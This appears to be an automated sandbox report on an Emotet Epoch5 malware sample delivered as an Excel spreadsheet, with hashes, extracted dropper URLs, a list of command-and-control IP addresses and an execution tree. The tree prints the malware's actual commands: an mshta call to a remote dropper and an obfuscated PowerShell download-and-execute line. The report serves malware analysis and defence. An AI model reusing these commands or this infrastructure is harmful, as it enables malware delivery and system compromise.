emotet | 2dfd3a8503f4bb34c6c2c387e3429152689e138aec70f2399ca6b937e5ddc076

Analysis

max time kernel
121s
max time network
146s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 11:30

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General

Target
2026P-2801.xls
Size 90KB
Sample220128-nl61aabgar
SHA256 2dfd3a8503f4bb34c6c2c387e3429152689e138aec70f2399ca6b937e5ddc076
MD5 a25ea46bcbf1c2531fd840335a4a23c9
SHA1 9215e7ce10bbe484ee524e5669182e271422375d
SHA512 77a3285903cca4020924ec1d19950218aa606bb25c23ea2dcb483bc52c56873cf1b97d4de060c8fc6d3c5f59ae5fe718e765986d60a1f49f95b2f43cc83274e1
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/ee/ss/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/ee/ss/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1116	3140	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 4 IoCs

flow	pid	Process
34	1456	mshta.exe
37	1628	powershell.exe
39	1628	powershell.exe
50	960	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1588	rundll32.exe
2056	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Hbggcrgvsojzf\ssockajhfixuv.osf	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1764	1456	WerFault.exe	76

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3140	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1628	powershell.exe
1628	powershell.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1764	WerFault.exe
1628	powershell.exe
960	rundll32.exe
960	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeDebugPrivilege	1764	WerFault.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE
3140	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3140 wrote to memory of 1116	3140	EXCEL.EXE	72
PID 3140 wrote to memory of 1116	3140	EXCEL.EXE	72
PID 1116 wrote to memory of 3744	1116	cmd.exe	74
PID 1116 wrote to memory of 3744	1116	cmd.exe	74
PID 1116 wrote to memory of 2176	1116	cmd.exe	75
PID 1116 wrote to memory of 2176	1116	cmd.exe	75
PID 2176 wrote to memory of 1456	2176	cmd.exe	76
PID 2176 wrote to memory of 1456	2176	cmd.exe	76
PID 1456 wrote to memory of 1628	1456	mshta.exe	78
PID 1456 wrote to memory of 1628	1456	mshta.exe	78
PID 1628 wrote to memory of 1320	1628	powershell.exe	81
PID 1628 wrote to memory of 1320	1628	powershell.exe	81
PID 1320 wrote to memory of 1588	1320	cmd.exe	82
PID 1320 wrote to memory of 1588	1320	cmd.exe	82
PID 1320 wrote to memory of 1588	1320	cmd.exe	82
PID 1588 wrote to memory of 2056	1588	rundll32.exe	83
PID 1588 wrote to memory of 2056	1588	rundll32.exe	83
PID 1588 wrote to memory of 2056	1588	rundll32.exe	83
PID 2056 wrote to memory of 1640	2056	rundll32.exe	86
PID 2056 wrote to memory of 1640	2056	rundll32.exe	86
PID 2056 wrote to memory of 1640	2056	rundll32.exe	86
PID 1640 wrote to memory of 960	1640	rundll32.exe	87
PID 1640 wrote to memory of 960	1640	rundll32.exe	87
PID 1640 wrote to memory of 960	1640	rundll32.exe	87

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2026P-2801.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3140
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c set ooo=mshta http://91.240.118.172/ee/ss/se.html & echo %ooo% | cmd
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo %ooo% "
    3⤵
    PID:3744
- - C:\Windows\system32\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2176
  - - C:\Windows\system32\mshta.exe
      mshta http://91.240.118.172/ee/ss/se.html
      4⤵
      Blocklisted process makes network request
      Suspicious use of WriteProcessMemory
      PID:1456
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FutuReD}{FutuReD}Ne{FutuReD}{FutuReD}w{FutuReD}-Obj{FutuReD}ec{FutuReD}{FutuReD}t N{FutuReD}{FutuReD}et{FutuReD}.W{FutuReD}{FutuReD}e'.replace('{FutuReD}', ''); $c4='bC{FutuReD}li{FutuReD}{FutuReD}en{FutuReD}{FutuReD}t).D{FutuReD}{FutuReD}ow{FutuReD}{FutuReD}nl{FutuReD}{FutuReD}{FutuReD}o'.replace('{FutuReD}', ''); $c3='ad{FutuReD}{FutuReD}St{FutuReD}rin{FutuReD}{FutuReD}g{FutuReD}(''ht{FutuReD}tp{FutuReD}://91.240.118.172/ee/ss/se.png'')'.replace('{FutuReD}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1628
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1320
        
        C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        7⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1588
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
        8⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2056
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hbggcrgvsojzf\ssockajhfixuv.osf",DsPkWqww
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:1640
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Hbggcrgvsojzf\ssockajhfixuv.osf",DllRegisterServer
        10⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:960
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1456 -s 1676
        5⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1764

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/960-622-0x0000000004EC0000-0x0000000004EE7000-memory.dmp

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memory/960-619-0x00000000048C0000-0x00000000048E7000-memory.dmp

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memory/1588-587-0x0000000000BA0000-0x0000000000BC7000-memory.dmp

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memory/1628-277-0x000001F36BC50000-0x000001F36BC72000-memory.dmp

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memory/1628-409-0x000001F353960000-0x000001F36BCB0000-memory.dmp

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memory/1628-291-0x000001F353960000-0x000001F36BCB0000-memory.dmp

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memory/1628-313-0x000001F36C000000-0x000001F36C03C000-memory.dmp

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memory/1628-344-0x000001F36C420000-0x000001F36C496000-memory.dmp

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memory/1628-350-0x000001F353960000-0x000001F36BCB0000-memory.dmp

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memory/1640-616-0x0000000004990000-0x00000000049B7000-memory.dmp

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memory/2056-603-0x0000000004850000-0x0000000004877000-memory.dmp

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memory/2056-617-0x0000000004A80000-0x0000000004AA7000-memory.dmp

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memory/2056-614-0x0000000004910000-0x0000000004937000-memory.dmp

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memory/2056-605-0x00000000048B0000-0x00000000048D7000-memory.dmp

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memory/2056-596-0x00000000006F0000-0x0000000000717000-memory.dmp

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memory/2056-598-0x0000000004270000-0x0000000004297000-memory.dmp

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memory/2056-601-0x00000000046C0000-0x00000000046E7000-memory.dmp

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memory/3140-129-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp

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memory/3140-118-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

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memory/3140-119-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

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memory/3140-128-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp

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memory/3140-115-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

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memory/3140-117-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

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memory/3140-116-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

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memory/3140-646-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

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memory/3140-647-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

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memory/3140-648-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

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memory/3140-649-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

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